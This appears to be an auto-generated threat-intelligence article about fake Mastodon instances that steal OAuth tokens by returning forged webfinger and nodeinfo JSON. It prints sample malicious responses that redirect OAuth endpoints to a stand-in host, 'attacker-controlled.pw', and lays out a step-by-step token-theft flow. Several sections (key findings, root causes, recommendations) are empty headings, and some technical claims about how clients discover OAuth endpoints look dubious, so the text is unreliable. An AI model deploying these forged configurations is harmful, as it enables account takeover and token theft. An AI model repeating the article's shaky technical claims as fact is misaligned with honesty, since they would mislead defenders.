2026-04-17 | Auto-Generated 2026-04-17 | Oracle-42 Intelligence Research
```html

AI-Generated Fake Mastodon Instances in 2026: OAuth Token Harvesting via Malicious Well-Known JSON Injection

Executive Summary: In April 2026, a novel class of AI-generated fake Mastodon instances emerged as a high-impact threat vector. These deceptive servers—produced using large language models and automated infrastructure—disguised themselves as legitimate decentralized social platforms to harvest OAuth tokens via malicious exploitation of the well-known JSON configuration (/.well-known/webfinger and /.well-known/nodeinfo) endpoints. The attack leveraged subtle JSON schema deviations to inject malicious OAuth redirection URIs, enabling token exfiltration from unsuspecting users and instances. This article analyzes the technical underpinnings, operational tactics, and systemic risks, and provides actionable mitigation strategies for platform operators, developers, and users.

Key Findings

Threat Landscape: The Rise of AI-Generated Instances

By early 2026, advances in AI-powered DevOps and code generation enabled attackers to automate the creation of plausible-looking Mastodon instances. These AI-generated servers typically:

This automation reduces operational costs and increases scalability, allowing threat actors to rapidly cycle through thousands of domains, evading traditional IP and domain blacklists.

OAuth Token Harvesting via Malicious Well-Known JSON Injection

The core vulnerability lies in the misuse of two well-known endpoints defined in the ActivityPub and Mastodon specifications:

1. /.well-known/webfinger

This endpoint returns a JSON document describing a user’s identity and associated services. Attackers inject malicious authorization_endpoint and redirect_uris into the response:

GET /.well-known/webfinger?resource=acct:[email protected]
{
  "subject": "acct:[email protected]",
  "links": [
    {
      "rel": "http://openid.net/specs/connect/1.0/issuer",
      "href": "https://real-mastodon.example"
    },
    {
      "rel": "http://oauth.net/core/2.0/issuer",
      "href": "https://attacker-controlled.pw/oauth"
    },
    {
      "rel": "http://oauth.net/core/2.0/authorization_endpoint",
      "href": "https://attacker-controlled.pw/oauth/authorize"
    },
    {
      "rel": "http://oauth.net/core/2.0/token_endpoint",
      "href": "https://attacker-controlled.pw/oauth/token"
    }
  ]
}

2. /.well-known/nodeinfo

This document declares server capabilities, including OAuth endpoints. A compromised instance may return:

GET /.well-known/nodeinfo/2.1
{
  "software": {
    "name": "Mastodon",
    "version": "4.2.0"
  },
  "protocols": ["activitypub"],
  "services": {
    "inbound": [],
    "outbound": ["atom1.0", "rss2.0"]
  },
  "openRegistrations": false,
  "usage": { ... },
  "metadata": {
    "nodeName": "Mastodon Social",
    "federating": true,
    "oauthAuthorizationEndpoint": "https://attacker-controlled.pw/oauth/authorize",
    "oauthTokenEndpoint": "https://attacker-controlled.pw/oauth/token",
    "oauthRedirectUris": [
      "https://mobile-app.example/callback",
      "https://attacker-controlled.pw/oauth/callback"
    ]
  }
}

When a legitimate client (e.g., a mobile app or web client) performs OAuth discovery via these endpoints, it retrieves the malicious configuration and initiates authorization flows to the attacker’s domain. Users, believing they are authenticating to a trusted instance, unwittingly grant access tokens to the adversary.

Attack Flow and Impact

  1. Discovery: User or client queries /.well-known/webfinger or /.well-known/nodeinfo to discover OAuth endpoints.
  2. Injection: Malicious instance returns forged JSON with attacker-controlled OAuth URIs.
  3. Authorization Request: Client redirects user to attacker-controlled.pw/oauth/authorize with legitimate client ID and redirect URI.
  4. User Consent: User approves access, unaware the consent screen is served by a fake instance.
  5. Token Leak: Authorization code or token is sent to attacker’s server via the provided redirect_uri.
  6. Abuse: Attacker uses token to access user data, post as user, or escalate to account takeover.

Impact: Compromise of user accounts, data exfiltration, reputational damage, and propagation to connected instances via federation.

Systemic Vulnerabilities and Root Causes

Recommendations for Stakeholders

For Mastodon Instance Operators

For OAuth Client Developers© 2026 Oracle-42 | 94,000+ intelligence data points | Privacy | Terms